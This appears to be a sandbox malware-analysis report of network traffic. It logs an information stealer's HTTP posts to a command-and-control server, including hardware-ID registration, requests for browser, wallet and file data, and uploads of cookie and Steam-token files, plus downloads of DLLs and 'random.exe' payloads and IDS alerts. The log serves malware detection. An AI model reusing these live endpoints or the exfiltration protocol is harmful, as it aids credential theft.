00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 36 32 45 41 32 32 34 30 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 2d 2d 0d 0a Data Ascii: ------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="hwid"4262EA2240254071173853------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="build"stok------DGDHJEGIEBFHDGDGHDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="message"browsers------GDGDHJJDGHCAAAKEHIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"plugins------AAAKEBGDAFHIIDHIIECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="message"fplugins------AEHIJKKFHIEGCBGCAFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGCHost: 185.215.113.206Content-Length: 7003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GHDAAKJEGCFCAKEBKJJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file"------IDBFHJDAAFBAKEBGIJKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 2d 2d 0d 0a Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="file"------IJDBGDGCGDAKFIDGIDBF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGCHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDAFIEHIEGDHIDGDGHDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 2d 2d 0d 0a Data Ascii: ------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="message"wallets------HJDAFIEHIEGDHIDGDGHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="message"files------DGIJDAFCFHIEHJJKEHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file"------HIIIJDAAAAAAKECBFBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="message"ybncbhylepme------GHDHDBAECGCAFHJJDAKF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 2d 2d 0d 0a Data Ascii: ------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAKEGIJEHJDGDHJKJKKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 30 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013060001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 30 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013061001&unit=246122658369

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49784 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49835 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49960 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49980 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49983 -> 185.215.113.16:80
